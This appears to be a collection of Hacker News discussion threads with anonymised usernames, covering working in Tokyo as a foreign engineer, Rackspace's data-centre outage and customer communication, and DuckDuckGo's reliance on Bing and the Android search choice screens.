This is one thing junior engineers misunderstand about senior people. They're not necessarily better coders, they are generally better predictors and decision makers.

<comment><USER6> Thanks for sharing your thoughts. The reality that many people don't realise that every software product faces a commercial viability - time and money is not unlimited.

Agreed that the most senior people have experience than the junior engineers but that's obvious. Other than previous experience, what about senior people makes them better predictors and decision makers? According to research studies by Philip Tetlock, who conducted one of the largest and longest running studies of the performance of experts at predictions, his results showed that statistical models outperform "expert judgement".

Btw, this article was just sharing a quick thought and not a "how to", hence the structure. If you're interested in something more substantial, feel free to read some of my articles such as how to produce more reliable estimations ([https://hackernoon.com/how-to-do-smarter- estimations-7d67f27...](https://hackernoon.com/how-to-do-smarter- estimations-7d67f27910b5) \- I've also added this link to the article for those who want something more substantial). We use estimations to make decisions but they're often misleading because the way we produce estimations lacks discipline.

Also note that I do plan on sharing some preventions and interventions which can better our decisions.

</comment></comment><comment><USER7> Never trust an article that can't even pick stock photography of a proper chessboard orientation as the details in the article will hold about as much weight as the stock photography.

<comment><USER5> I think you're being flip but that is quite the strawman.</comment></comment>


Koding- cloud collaborative coding - <AUTHOR> https://koding.com/R/guest-4261544

<comment><USER2> Thanks for mentioning that this link contains a referral code.

<comment><USER3> Who cares?</comment></comment>


Ask HN: Moving to Tokyo as a software engineer - <AUTHOR> I have noticed that there are many folks living in Japan as a software engineer on here, and I figured this would be one of the best places to ask this.<p>How hard is it to find work in Tokyo for someone that does not speak Japanese? I'm in my mid-20s, at the 'senior' level equivalent at a FAANG company, and willing to take a pay cut for the experience. <comment><USER2> Tokyo in general pays less than America or even China for software engineers, just be warned. If you are at Google, you can see if you can work in their office there. Facebook also has a Japanese operation, but most of it is localization rather than worldwide R&D. A friend of mine worked as a designer for Phillips for a few years and enjoyed it, but I don't know of many engineers who did the same.

To be honest, if you really are that senior, it would be much easier and financially rewarding to work in China if you are interested in Asia.

<comment><AUTHOR> Wow, I knew that Japan compensated engineers poorly but didn't realize that China pays well in comparison.

Unfortunately, money isn't as much the issue. I can afford and would be willing to live in Tokyo for a couple years and work on side projects, but this is not possible visa-wise.

<comment><USER2> It isn't that Japan compensates senior engineers poorly, it is just that China compensates them well.

If all you want to do is work away there and you aren't concerned about pay, maybe you could get a job as a visiting researcher or teacher.

<comment><AUTHOR> My rationale for wanting to continue in tech is that my CV will not have weird gaps like "took a year off to teach English" and the money is presumably still better, even despite the low salaries there.

<comment><USER2> If you are actually a senior programmer in a FAANG company while just being your mid 20s, a gap year is not going to affect your resume much at all.

</comment></comment></comment></comment></comment><comment><USER3> I don't know your citizenship. But if you are from an eligible country (france, UK, Germany...) you are still eligible for a Working Holiday visa. It's a 1 year visa, quite easy to get. Unfortunately, the US citizens are not allowed to obtain this visa.

I lived in Tokyo for a year, and it's actually quite easy to get a job as a computer engineer there. Several of my friend came with a tourist visa (or Working Holiday visa) and managed to get a visa sponsorship from companies who wanted to hire them. I'm not saying it's super easy, but it is doable. And believe me, there is a shortage of web / mobile engineer in Tokyo.

Finally, don't worry too much about the gap year. Just go there and you'll find something. Go to events and meetups and you ll find plenty of people to talk to. You'll find a lot of opportunities that way.

Wish you the best

<comment><AUTHOR> Unfortunately my US citizenship precludes the working holiday route. I will look in to attending meetups the next time I'm over there, though.

<comment><USER3> check out the '500 startups' meetup: [https://500startups.jp/bilinguals- gaijins-in-startups/](https://500startups.jp/bilinguals-gaijins-in-startups/) plenty of startups of their portfolio looking for engineers

you can also have a look at this guy blog: [http://www.tokyodev.com/](http://www.tokyodev.com/) lots of tips on how to work as a gaijin engineer in japan

</comment></comment></comment><comment><USER4> Try to work for a western company -- you will most likely get paid more, and the culture will be much more relaxed. Being in Japan will be enough of a culture shock, imho.

</comment><comment><USER5> You might need to find a company that provide visa sponsorship, some recruiting company are willing to do the paperwork, there is a surprising amount of company in Tokyo where you could work using only English.

Although Everyday life could be difficult without knowing a little of Japanese language and renting apartment is quite expensive at the start.

</comment><comment><USER6> You're also welcomed to join the hntokoy slack channel. There was a thread just last week asking exactly the same question.

[https://hntokyo.io](https://hntokyo.io)

<comment><AUTHOR> I'll check it out, thank you!

</comment></comment><comment><USER7> There's a secret way to go to Japan on a very long visa: start your own company with a Japanese co-fouder and go there on a management visa. You can get up to a 5-year visa and it does NOT require a $50k investment.

If you want to stay longer, the only option through marriage.

<comment><USER8> This is what I did. I hired someone already local and he handed the company to me (didn't want risk, mainly wanted the salary, we were already well funded) Be aware it does take a bit of capital though.

<comment><USER7> Is there anyway we could get in touch? I'd like to have someone I could ask questions once I do this myself.

<comment><USER8> Email is in profile.</comment></comment></comment></comment>


Touchscreen Projector [video] - <AUTHOR> https://youtu.be/5NNO5Kb-PZo?t=180 <comment><AUTHOR> Sorry for changing the title, i know it is against HN guidelines to do it, but the original video title doesn't feel right for a HN submission.</comment>


Lessons from Rackspace's downtime - <AUTHOR> http://jacobian.org/writing/lessons-from-rackspace-downtime/ <comment><USER2> When will the rest of the industry start to bundle a battery on every server, a la laptops and Google servers, so that PDU glitches like this would be no big deal?

<comment><USER3> Never, I hope. As someone who actually touches the hardware in datacenters, ever, I'd like not to have the added fire and hazmat risk of that much lithium and non-EPSable power everywhere.

<comment><USER4> Lithium? Don't lead-acid batteries still have a vastly better energy storage to cost ratio?

<comment><USER3> I would expect not in so tiny a size, no.

</comment></comment></comment></comment><comment><USER5> I was actually a bit dissatisfied with how slicehost (part of rackspace, or at least using their DC) handled this last night.

If something like this goes down, I want to know what is up within _minutes_ of it happening. At least a "Yeah, things are going wrong. It's our fault, not yours.". I checked slicehost's website but...nothing. The only way I even knew that others were having a problem was by checking twitter.

Seriously, guys...one of the things behind the pane of glass that says "break in case of emergency" needs to a sheet of paper with big red bold letters on it that says "TELL THE CUSTOMERS WHAT IS HAPPENING RIGHT NOW! DO NOT WAIT!"

/yeah, yeah, I'm over-reacting. It's just really frustrating to be completely in the dark when something goes wrong, even if it is only for a few minutes.

<comment><USER6> Sounds good in theory...

However, in a couple of my career cycles I've managed data centers and/or server farms upon which lots and lots of companies relied.

Many times these unexpected outages are not always easy to diagnose even a rough root cause quickly. Sometimes you don't know if it's your issue, or an upstream issue, and so on.

So, you put out a statement 5 seconds after and outage, and, oops, you misdiagnosed it. Now you get to deal with the shitty customers who want to play 1000 questions about why you told them it was a transfer switch when it turns out it was really a main breaker. Not that it matters much in the end.

You're damned if you do, damned if you don't, but most of the time it's better overall to release an accurate statement later than a wrong statement early.

<comment><USER7> I think "having a problem, not sure what just yet" is a perfectly acceptable thing to say.

<comment><USER5> Exactly. I liken in to twitter's failwhale. What it is telling you is that something has gone wrong, and that it has nothing to do with _you_.

<comment><USER6> There is a significant distinction between what you would expect of a free service (Twitter) and what you would expect of a service/site you are paying money for and building your corporation upon.

In both cases, I had clients that I knew were rational and logical. Those are the ones that we would issue an early release to, along the lines of "Something broke and we're on it, more info to follow".

However the irrational types seemed to far outweigh the logical types. Those are the ones where I can tell you from my own first hand experience that overall you are better off giving accurate information late than wrong or incomplete information early.

Today, I run a small bit of a data center as one of my personal side-project companies. I only accept low-overhead experienced clients. They don't give me a lot of headaches, and the 1 single time we had an issue (power related, natch) I told them about it as soon as I found out and thing was a completely forgettable experience for everyone.

<comment><USER8> _Those are the ones where I can tell you from my own first hand experience that overall you are better off giving accurate information late than wrong or incomplete information early_

My expirience is the opposite. All customers I have dealt with were very happy to receive an acknowledgement early and a post-mortem analysis later.

Most customers don't care one bit about _what_ is wrong, they care about when their service will be restored. Knowing "they are working on it" is already one step up from "Does this affect only me? Have they even noticed, yet?".

</comment></comment></comment></comment></comment></comment><comment><USER7> wrong lesson.

The right lesson is "have more than one data center, use automatic failover"

<comment><USER9> No, the right lesson is to take a deep breath and ask yourself what three hours of downtime is worth to your business and compare that to the cost of full failover.

The cost of full failover is first off a doubling of your hardware and datacenter costs. Then add the cost of developing a software system that can handle seamless failover, as well as testing it. By this I also mean the cost of significantly slower release-cycles, because you're not going to release a new feature without testing if it breaks the fail-over, are you?

If this comes out in favor of doing full failover, you're a bank or an airline or similar. You're probably not even Google or Facebook. Chances are that you're not taking infrastructure advice from an online discussion thread.

<comment><USER7> Infrastructure, for most businesses, is a vanishingly small percentage of the total costs of doing business. Hell, I sell infrastructure, and at 750 customers, my infrastructure costs are still less than I'd pay for my time if I was paying myself market rate.

But you do have a good point, that you do need to weigh the cost of a few hours downtime every now and again with the cost of putting yourself in a position where you can avoid such downtime, because yes, sometimes avoiding the downtime is more costly than just taking the hit.

I think at a minimum, though, you need to have off-site backups, and the ability to restore to a new provider if your first provider has a HyperVM level disaster that kills all your data and all the backups at that provider.

</comment></comment></comment><comment><USER10> _Five nines is impossible Really. It's just not going to happen._

Actually, it is going to happen. One individual part may fail more than 99.999% of the time, but overall system integrity can certainly be designed with greater than 99.999% uptime.

Just get a second datacenter, get a second transit provider. Just as folks scale horizontally, you can built out reliability into the many many 9's such that when one component fails, the overall system integrity isn't impacted.

It's not easy, and not always cheap, but it's quite doable.

<comment><AUTHOR> How long does it take to fail over to a second data center? Can you do it in less than 26 seconds? I can't.

<comment><USER11> According to Amazon, EC2 can remove a server from an Elastic Load Balancer rotation at a polling interval of 5 seconds. You can pool servers in different availability zones into the same ELB. I'm not sure the question even makes sense in that context, which I sort of view as the logical extreme of what davidu wrote.

<comment><USER12> Pardon my ignorance, but what happens when the datacenter hosting the load balancer goes down? Are the load balncers redundant across data centers?

<comment><USER11> In short, yes. There's a good description of it here. [http://clouddevelopertips.blogspot.com/2009/07/elastic-in- el...](http://clouddevelopertips.blogspot.com/2009/07/elastic-in-elastic-load- balancing-elb.html)

</comment></comment></comment></comment></comment><comment><USER13> I received this email an hour back from Rackspace:

 _At approximately 12:29am CST this morning, our Dallas - Fort Worth (DFW) data center experienced a power disruption, and consequently an interruption of our services. The power disruption was the result of issues during a maintenance effort that was scheduled and expected to be non-impacting.

This summer our DFW facility had power issues, and as a result, we invested significant resources to improve all aspects of our power systems. Last night, during one of these steps, we encountered issues and had a brief loss in power. The power disruption was approximately 5 minutes in duration. Despite this short power disruption, many customers experienced downtime that was significantly longer. Since the power disruption hit the core of many of our cloud services, recovery of full operations required more effort than simple recovery of power. The experience you had last night is not acceptable to us.

Here is what we know about the events:

· The scheduled maintenance was planned to occur from 12:05am - 6:05am CST in our DFW data center. This maintenance is part of a preventative maintenance schedule for several PDUs in UPS Cluster G at the DFW datacenter. The PDUs were down for a total of 5 minutes before power was restored. At approximately 12:29am CST, all PDUs behind UPS Cluster G lost power.

· Although the power outage was very brief (5 minutes), it forced a hard re- boot to occur on a portion of our cloud infrastructure. As our engineers worked to bring hardware back online, we experienced several unforeseen hardware failures. Further complicating our recovery effort, the incident also created internal DNS issues, which caused additional delays. With that said, the vast majority of cloud customers affected by this outage had service restored within one hour's time (many in as little as five minutes); however, depending upon the service, a few customers experienced service interruptions for up to few hours.

Here is how we plan to deal with it:

· We have invested massively in the DFW facility to ensure it delivers at a level you expect from Rackspace - despite last night, we feel very good about our plan and have high confidence in the DFW facility - clearly we have to prove it.

· We are reviewing our maintenance notifications - we typically do not share information on expected non-impacting events, but clearly we need to ensure we calibrate these events and are fully transparent.

· We are reviewing our procedures and systems for quickly resuming cloud operations when an unexpected event like this occurs - unexpected events will happen, our job is to minimize their impacts.

We live by high standards and clearly have not lived up to them. We welcome any feedback. If you would like a call from me, or anyone on our senior team to discuss these issues personally, please reply with a phone number.

We have work to do to earn back your trust. We will not rest until we have._

</comment><comment><USER14> Ok, but what is the lesson from DEMONOID's downtime?

Apparently the whole thing is is dependent on one guy who is nowhere to be found. Whats up with that?</comment>


DuckDuckGo, Google, and Android choice screens - <AUTHOR> https://www.wired.co.uk/article/duckduckgo-android-choice-screen-search <comment><USER3> Does anyone here understand how it is that Bing is powering DDG?

Does DDG just generate lots of Bing searches and scrape the result? If so, why wouldn't MS block them?

Or did they strike some sort of deal? If so, how can that be in Bing's interest? They're just creating a Bing competitor, right? Given that Bing reasonably wants to be the #2 search engine, supporting a formidable competitor striving for the same spot doesn't sound like a winning strategy for Bing. Right?

What am I missing? :-)

<comment><USER4> Microsoft offers a Bing API [1]. So Microsoft is getting paid by DDG for using Bing. Given Google's domination of the search market, I think it makes sense for Microsoft to sell their search API and let other companies help chip away at Google's user base.

[1] [https://azure.microsoft.com/en-us/services/cognitive- service...](https://azure.microsoft.com/en-us/services/cognitive- services/bing-web-search-api/)

<comment><USER5> Correct. The list price for the Bing web search API is $30/10,000 searches. I wouldn't be surprised if DDG was also able to negotiate a volume discount.

In addition, DDG serves ads from the Microsoft ad network, so they will also make money there.

Also, worth noting that Google provides the same type of service through API. I built a search engine [0] where Google web results are one of many sources used.

[0] [https://www.runnaroo.com](https://www.runnaroo.com)

<comment><USER6> If DDG gains sufficient marketshare, MS may just buy them out, for a steal perhaps since they have the ability to tighten the screws. So DDG is little more than an MS proxy aimed at Google's search business. It's not really an underdog, just two behemoths fighting for control of the search business. Sounds more like "Meet the new boss, same as the old boss."

<comment><USER7> This is only true if DDG isn't investing into its own backend as it grows.

If all the users go to DDG.com, it won't matter if Bing has a great backend or not.

I've recently lived this experience in another context. We built a great backend for a partner that was good at publicity. When they redirected users to their internal backend, we were dead in the water. It didn't matter that the partner struggled with their backend and ours was better. We hadn't invested resources in independent publicity, so users couldn't find us. It was a hard lesson to learn.

<comment><USER8> And to that point, DDG does have its own crawler, and I believe leverages other third-parties as well (I know Yandex was historically in the mix, for example). So if Microsoft did try to strongarm DuckDuckGo, DDG would have other options, even if less-than-ideal.

<comment><USER9> There's no one close to Google in the US. After a big drop, there's no one REMOTELY close to Bing for 2nd best results. Bing dropping DDG in 2020 or 2021 would be a death kneel for them for US search results. Probably many other countries too. Yandex is too far off right now to be a replacement. I haven't checked Yandex in a bit of time though. Perhaps they drastically improved.

People in tech circles always say DDG has a crawler. I know they do. No one ever says how big it is. I have a hard time believing it's crawling more than a couple percent what Bing is crawling.

<comment><USER8> > No one ever says how big [DuckDuckBot] is

One complicating matter is that it specializes in DDG's "Instant Answers"; apparently¹ the "source from other search engines" approach really only applies to the traditional results list, while DuckDuckBot is focused specifically on the Instant Answers, effectively optimizing for the absolute most relevant first result possible. So in its current state DuckDuckBot ain't exactly comparable in purpose.

Still, I don't see much that'd be stopping DDG from ramping this up and having it generate the traditional list of results, too. Yeah, obviously the results for quite a few queries will be far from ideal, but if the query already hits one of DDG's curated data sources, I suspect the results might already be _better_ if anything.

\----

¹: [https://help.duckduckgo.com/duckduckgo-help- pages/results/so...](https://help.duckduckgo.com/duckduckgo-help- pages/results/sources/)

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER10> DuckDuckGo is good, I've used it for a few months at a time in the past.

Always end up switching back to Google because of local results (I live in the UK, DDG's results are very US-centric even when local results are turned on). Maybe it's gotten better recently. I've seen lots of billboards for DuckDuckGo recently around my hometown in Paisley, Scotland; not a very techie place so they're clearly trying to gain a reach!

I've been using Bing for the past few months and been quite happy with it, only switching to use Google for Maps results and the odd very niche query.

The bonus of Bing is that it pays you in supermarket shopping vouchers where Google doesn't. Sold!

<comment><USER11> I've (unexpectedly) seen billboards in western North Carolina for DDG in the last few weeks.

<comment><USER12> Same in the greater Boston area.

<comment> coddle-hark They were running ads at a mall where we live in Sweden. Not even in Stockholm!

</comment></comment></comment></comment><comment><USER13> I like DDG, but this is strange rhetoric. DDG is as much for-profit as Google. It's not *fighting back", it's trying to make a profit by trying to position itself in a way that's different from Google and in a way that it's hoping is compelling. So far, it's mostly failing at that and only serves a niche population. A growing one, though.

<comment><USER14> >> it's trying to make a profit by trying to position itself in a way that's different from Google and in a way that it's hoping is compelling

Looks like DDG is "fighting back" the right for people to have privacy online.

<comment><USER15> This is what is compelling, to me, about DDG. It isn't the profit that bugs me about Google, it is the data collection. It isn't even that I think Google is doing anything nefarious with that data, but the difference is that I'm giving something to Google and not to DDG and DDG's results are good enough to not warrant giving Google anything (i.e. DDG works great for >90% of my searches).

</comment></comment></comment><comment><USER16> "we expect that advertising funded search engines will be inherently biased towards the advertisers and away from the needs of the consumers."

\-- Sergey Brin and Larry Page:

[http://www.zdnet.com/article/google-advertising-and- search-e...](http://www.zdnet.com/article/google-advertising-and-search- engine-bias/)

<comment><USER17> How is DuckDuckGo funded?

<comment><USER18> Ads. However, DuckDuckGo does not run their own ad network. The ads you are shown are only based on the current keyword from your search.

edit: Here is a quora answer from the CEO at DuckDuckGo posted a couple years ago talking about how the company is funded. [0]

[0]: [https://www.quora.com/How-is-DuckDuckGo- funded?share=1](https://www.quora.com/How-is-DuckDuckGo-funded?share=1)

</comment></comment></comment><comment><USER19> Google got rich finding the information you wanted.

<comment><USER20> And many here are too young to remember the hellscape of competing search engines predating Google: Infoseek, excite, yahoo, altavista, etc.

Their poor experience and dubious practices likely spawned Google's internal motto: "don't be evil"

<comment><USER21> >Their poor experience and dubious practices likely spawned Google's internal motto: "don't be evil"

Sure, I remember the bad ol' days. But Google has (IMHO) become the thing they set out to disrupt. The quality of Google results has declined dramatically in the last 5 years or so.

It's all marketing bullshit now, just as Altavista or whomever was. Finding content I want, as opposed to content advertisers want me to find, is becoming very difficult via Google.

<comment><USER22> You could argue that the quality of the web itself has declined in much the same way. SEO is a billion dollar industry with the singular goal of analyzing everything search engines do to push whatever crap they want to run ads on.

As Google is the market leader, every website is optimized for its ranking. Much like leading operating systems have the most malware issues.

Many people on HN complain that blogs and personal websites aren't prioritized in results anymore compared to bigger news sites. I imagine it's incredibly difficult to separate legitimate, trustworthy posts from useless blog spam and agenda/conspiracy-pushing crap in a reliable automated way.

<comment><USER23> I don't think Google has declined because the quality of the web has declined, I think Google has fostered laziness and a optimistic reliance on algorithms that has caused the quality of the web to decline.

In the early days, algorithmic search wasn't the only way you found stuff. Links had a lot more use, and people would spend time looking at, cataloguing, and grooming lists of resources.

This doesn't scale well if you want a one-second answer to any possible question, but the SEO-gamified Google world is far from perfect in that regard either.

Maybe we just need to give up on that "any answer to anything at your fingertips in one second" goal.

</comment></comment></comment></comment></comment><comment><USER24> It's funny. I'm currently having some hardware problems, figuring out what the problem is, I reinstalled windows. A lot. And every time FF defaulted to google (because apparently Search Engines are not synced). And holy hell. Google Germany results are utterly unusable. For anything I searched that had an original download site, google gives me some scammy German site that either relinks the original site after several (ad-riddled) clicks or even worse, has their own installer, presumably bundling the original with adware.

I always read here about people complaining about how bad DDG's localized results are. Considering they usually talk about switching back to google, I can't comprehend that.

<comment><USER25> I am one of the complainers about the bad ddg localized results, espacially for french ones.

But one day, I experienced what it was to use Google without ublock origin, by mistake. It was a horrible mess.

Then it hit me: the main benefit of DDG is that it's clean, even if you don't know anything about ad blockers.

<comment><USER26> Funnily enough, the clean thing is what really kick-started google (at least for the group of people I know). Going from the unholy mess of links on Yahoo! to google with their single search box and a couple of links was a giant step forward.

<comment><USER27> Even more funny they had a decade of my searches and online activity before I started adblocking and supposedly some of the sharpest minds of our time employeed to make me click on ads and I can't recall buying a single thing from a Google ad, mostly because the ads where ridiculously misplaced.

Facebook on the other hand, a company where I only have a minimal profile since I utterly distrust them[0] manages to serve me not only less annoying but sometimes actual useful ads (as: I've bought things from Instagram or Facebook ads that have saved me money and improved my quality of life).

[0]: Google I just dislike and treat with caution. They seem competent with data security and obsessed with protecting all their juicy data even if - <USER2> least to me - they seem so utterly incompetent at uskng it to match ads to profiles that I have suggested it might be some sort of scam against ad buyers ;-)

</comment></comment></comment></comment><comment><USER28> I've been using DDG for a year now and don't miss Google. I feel like I often get worse results on Google as I have to sift through more ads and click bait.

The only thing I worry about, is if DDG gets too big, what stops them from becoming Google-like?

<comment><USER29> If DDG gets big I would argue Google will still be in play, and by that time I think the discussions around search engine options in the general populace will make it such that the space is more competitive.

</comment></comment><comment><USER30> I've used DDG as my default search for both desktop and mobile for about a year now. It's good enough in a lot of cases, though I still find myself using Google for a lot of local searches and current events-related searches.

<comment><AUTHOR> If you consider it moral to block first party ads on Google, most adblockers should prevent ads from being loaded. Are you using one?

</comment></comment><comment><USER31> I am not against the need for data privacy, protection, etc., but got this question when looking at this.

How much people got rich from Google - by quickly accessing the relevant blogs, articles or information, finding answers to the questions, code snippets and so on?

<comment><USER32> This is an interesting question. There's an economic value aspect to the issue, in that way. There's also an ethical and emotional aspect. Those who learned about these last two aspects later may feel like they could have done just as well had they explored alternatives. Instead they unknowingly went with the service that was not as transparent with them as it should have been.

In this way I think it's fair to say that while individuals may consider the trade-off totally worth it or not worth it, they also have grounds to complain. Just like in society in general, one economic solution does not unmake all the ethical problems. Human culture has been working hard at transcending this dichotomy and people just expect more creativity and ethical intelligence these days. The attention given to DDG is I think a testament to this kind of market voice.

<comment><USER31> I also agree that this is a people problem. But moving to DDG is also not a reliable solution according to me. When we imagine DDG at google scale and quality, DDG will need so much resources and money to maintain their service at that scale and there is no guarantee that their current business model will be enough to continue their operations. Between closing out the business Vs increasing revenue, I am sure majority of businesses will choose the later. At least for now we can say it is focused on privacy to take some market share out of Google.

</comment></comment></comment><comment><USER33> I wish that DuckDuckGo would focus more on their search engine. DuckDuckHack was responsible for instant answers, but they discontinued it in favor of developing their browser extension.

[https://duckduckhack.com/](https://duckduckhack.com/)

Their browser extension sucks. It's just a bunch of different privacy extensions (Privacy Badger, HTTPS Everywhere, TOSDR) which have been watered down and mashed together. And it automatically changes your default search engine to DDG, which was the real intent for developing the extension all along.

Instant answers are important. Ever search for the definition of a word ([https://duckduckgo.com/?q=assonance](https://duckduckgo.com/?q=assonance)), or want to set a timer ([https://duckduckgo.com/?q=timer](https://duckduckgo.com/?q=timer))? These were made possible by DuckDuckHack. Now they are stuck; they cannot be changed, and no new ones can be created.

</comment><comment><USER34> I couldn't find any representative phrase [1] in the article that would make a better (less baity, more accurate and neutral) title, so have taken a crack at making something up. If someone has a better suggestion we can change it again.

[1] [https://hn.algolia.com/?dateRange=all&page=0&prefix=true&que...](https://hn.algolia.com/?dateRange=all&page=0&prefix=true&query=by%3Adang%20representative%20title&sort=byDate&type=comment)

</comment><comment><USER35> I love ddg and use it as my primary search engine, resorting to !g for google queries about 25% of the time. If anyone is curious about how ddg results compare to that of google, check out a site I made Search Compare [0] that shows the results of each side by side. Note that it looks at the html version of ddg results. One downside of ddg is that they do a worse job at filtering our conspiracy theories

[0] search-compare.netlify.app

<comment><USER10> > One downside of ddg is that they do a worse job at filtering our conspiracy > theories

I'd argue that's not particularly a bad thing as it means there's less censorship going on.

Even if most conspiracy theories are completely bonkers

</comment></comment><comment><USER36> I used DDG until I've searched for "PDF watermark remover free" and the top result is watermarkremoveronline.com, a scam site. Probably with malware as well.

I did the same search on Bing and Google and the scam site is not part of the search result.

DDG emphasizes on privacy. Yet, allow scamming site returned as top result.

</comment><comment><USER37> I like DDG as much as the next person, but does anyone else think that Mozilla should offer a privacy-friendly search engine? I know it's a big part of their revenue model, but it seems like a core piece of internet infrastructure that should not be so open to monetization.

<comment><USER38> I would rather Mozilla sticks to making a browser that works well and respects privacy. Generally their explorations outside of Firefox (Pocket, the Dr. Robot fiasco, etc) have been regressions of the aforementioned goals.

<comment><USER39> Mr Robot to you. Some saw that as a success.

</comment></comment></comment><comment><USER40> > The sheet of paper led to the creation of I've Got a Fang, a crowd-sourced > site where people could contribute authoritative URLs on particular > subjects. Weinberg, who lives in Philadelphia, believed the knowledge from > people's heads could be better than Google's algorithms.

Google initially was bootstrapped by crawling such curated lists. Now that people are relying on search instead of curating their own lists search quality is starting to decline. So I'm going to make a prediction. Federated knowledge bases with curated links are going to make a comeback because only humans can create semantically meaningful content for other humans.

<comment><USER41> I think it's already solved by social networks. You could consider twitter for example a curated list.

<comment><USER40> Social networks only allow very constrained forms of knowledge engineering. When I mentioned knowledge bases with links I meant in the sense of a programmable memex where the documents can be connected, annotated, and presented in arbitrary ways.

</comment></comment></comment><comment><USER42> Hopefully this will allow me to change the hard-coded Google search box on pixel home screens!

I have the DDG search widget, but I cannot remove the Google search box that appears to be hard-coded to the home screen with no way to remove it or change the search provider (... unless someone knows otherwise?) So now I have two search widgets...

I can use a separate launcher I guess, but it would be nice if I could just configure this without resorting to that.

</comment><comment><USER43> I fear this is too little, too late. Also Google is defacto a browser monopoly too.

<comment><USER44> Defacto browser monopoly? What is Chrome's market/usage share?

<comment><USER45> Tracker/analytics data won't be correct for Firefox or people using privacy- centric browsers as they inherently block that. I think it'd be hard to get a real number without polling a lot of people.

A lot of people assume Chrome has the monopoly based on looking at false analytics.

<comment><USER46> Firefox definitely sends its user-agent to servers, so wouldn't server-side analytics still work?

<comment><USER47> I wish Cloudflare would publish stats based on user agents. They must have a good idea about the real numbers

<comment><USER48> What do you want to know?

<comment><USER47> What percentage of traffic comes from Firefox.

</comment></comment></comment></comment></comment></comment></comment><comment><USER49> Competing with Google is hard and DDG serves very specific niche trying to do it. With this niche growing big enough both Bing and Yandex share it, in a way. Imagine a successful business which is built solely on your API. I think the real problem DDG solves is the need of independent brand for Bing and Yandex, fitting this niche.

</comment><comment><USER50> I'd love to read this article, but this website apparently uses cookies to vend information about me to advertisers.

<comment><USER51> Here you go: [https://outline.com/S7vXVy](https://outline.com/S7vXVy)

In the future, it may be worthwhile to download some plugins like Cookie Autodelete, uBlock Origin, Privacy Badger, etc.

</comment></comment><comment><USER52> I would be more worried about Google's auction process. It's cleverly evil, because the bid price to be on the start screen will asymptotically approach the phone owner's lifetime value from search ads. Then Google couldn't give two farts which search engine you use because they get paid either way.

<comment><USER53> The point is to prevent Google from getting paid for the work that the put into Android, the point is to foment competition in the search space.

</comment></comment><comment><USER54> From their open positions:

> _A fundamental understanding of complex data structures and algorithms, > which enables you to develop and apply new solutions and confidently > navigate and improve existing code (ours is mostly written with Perl)._

Would love to hear more about this. That kind of surprised (frightened?) me to be honest.

</comment><comment><USER55> I've been using DDG for almost two years. I often search the error message of my code as keyword and then there's a box that show the best solution (mostly from stackoverflow). I use that solution and mostly it works and made my work faster.

</comment><comment><USER56> It's interesting seeing DDG trying to break into a larger space. In my experience, the only people I know that know DDG are also people in tech.

I live in NYC and I'm seeing lots of billboards in the city and on highways in NJ surrounding the city as I have family that regularly travels in/out. I've seen a lot of whack billboards in my day but it really caught me by surprise seeing them try and make this push. It's exciting, and hope it'll gain some traction. However, I think the vast majority of people will still just use whatever browser and whatever search comes bundled with their machine.

</comment><comment><USER57> I'm surprised that there are nearly zero comments about the subject of the article - the choice screens and associated auction.

It seems like a reasonable implementation to me. Maybe the number of choices can be upped from 3 to 5 to help drive prices down. But surely there has to be some upper bound of the number of options?

</comment><comment><USER58> DuckDuckGo has been absolutely atrocious for me. Searches that Google can absolutely nail, DDG returns results where the right thing isn't even on the front page.

I tried to pretend like I cared more about privacy than results but the god's honest truth is I don't. I want the results I want and Google provides them.

<comment><USER52> Well say you're learning Swift programming. On google, the 12th search for "override init" will assume you mean Swift. On DDG, you need to make each search self-contained, so "Swift override init"

</comment></comment><comment><USER59> How does Duck Duck Go make money? I clicked around their site for a while, but didn't find anything.

<comment><USER60> Ads, but without targeting. They sell the search terms entered in an anonymized way. So you can buy an ad that will display to everyone who searches DuckDuckGo for "vacuum cleaner". You cannot buy an ad that will display to women aged 30-40 who live alone in a zip code where the median income is above $100k when they search "vacuum cleaner".

<comment><USER61> What's interesting, does that strategy end like: less effective ads -> need more of them -> raise ad price + show more of them?

Another thing is regarding k-anonymity which I suppose privacy-first guys would use. If I gather user info with a high entropy, I don't have an incentive to sell it to anybody and create a competitor, and it'd probably illegal to do that. But if I anonymize the data set into a k-anon data it's now less restrictive to sell from legal point, also I'll probably sell that data to third parties just to make ends meet.

</comment></comment></comment><comment><USER62> I have used DDG for the last few years as my search engine and phone browser. I'd like to move off chrome on the desktop as well but it feels like the changeover costs of losing some small chrome extensions that I love would be too high.

<comment><USER63> I'm curious what those extentions are as Firefox has a fairly roboust extension environment.

</comment></comment><comment><USER64> I understand the monopoly concern, but disagree with the title. Somehow the fact that a company got rich by using your data is the problem and most important aspect to put in the title, not the monopoly?

</comment><comment><USER65> I use DDG for all my general searching, but I've found that Google is better for searching for technical things. So I haven't stopped using Google Search completely :(

</comment><comment><USER66> Data about me is not the same thing as my data.

<comment><USER14> Why not?

<comment><USER66> In this case, "my" is being used to denote some sort of ownership (in the sense of "my bike") rather than mere association ("my mom"). It's being used to convince the reader that they should feel that something that is rightfully theirs has been taken/exploited by someone else.

But insofar as we have (formal and informal) notions of information ownership, we (sensibly) assign ownership of that info based on who collects/computes that info, not the person about whom that info refers. If I collect information about how many cars go down the highway each day, the only entity who might be the owner of that data is me, not the driver's of the cars or the city through which the highway runs.

If Google collects and exploits information about you (e.g., how many web searches per month you make), there certainly may be _privacy_ principles they are violating, but not ownership issues. If Google were taking information you _had_ generated/collected (e.g., if they sold illegal copies of the novel you wrote on Google Docs), that would be an ownership issue, but that is usually not the sort of thing people are worried about.

</comment></comment></comment><comment><USER67> I like DDG but always seem to get Russian localized results. I am in the USA.

</comment><comment><USER68> hah, I was going to write a Ask HN but never got around to it that I had noticed that bing and DDG has the exact same results for many of my searches.

</comment><comment><USER69> Ironically DDG was down today about an hour ago

<comment><AUTHOR> Ironically, Bing (powering DDG) is not mentioned in the article at all.

<comment><USER70> Yes it was?

"Today, DuckDuckGo combines data from more than 400 sources into its search results: Microsoft's Bing is predominantly used to surface relevant pages, but Wikipedia, Apple Maps, TripAdvisor and DuckDuckGo's own web crawler also contribute."

</comment></comment></comment><comment><USER71> See also: Qwant.com Startpage.com Searx

<comment><USER72> I host my own searx instance and can totally recommend it. I have it set as the default engine on all my devices and I don't miss google at all.

Not sure why you'd go to the trouble of avoiding google and just give all your data away to ddg? Anyone other than yourself is liable to become/be acquired by some shady entity</comment></comment>


Scrap all user data (with emails) from worldfloat (3m users) - <AUTHOR>

Whats WorldFloat?
